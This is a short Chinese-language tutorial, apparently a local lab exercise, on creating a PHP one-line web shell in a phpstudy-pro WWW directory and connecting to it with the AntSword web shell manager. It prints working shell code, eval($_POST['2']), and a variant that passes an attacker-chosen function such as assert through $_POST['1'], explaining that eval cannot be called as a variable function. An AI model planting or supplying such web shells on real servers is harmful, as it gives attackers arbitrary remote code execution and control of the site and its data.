在phpstudy-pro中,开启apache,MySQL,在WWW目录中创建php文件,在该php文件中进行代码的编写
<?php
eval($_POST['2']);
?>
打开中国蚁剑测试
输入测试的本地地址,连接密码输入2,编码格式选择base64,点击测试连接
当显示连接成功时,点击添加,双击添加的那条记录,看见网站 内容和目录结构,代表已经和成功了。
修改一下php文件
<?php
$_POST['1']($_POST['2']);
?>
eval的规则:eval是一个语言构造器,他不是一个函数,所以不能被可变函数进行调用。
使用assert;assert也可以执行任意命令,
显示连接成功 。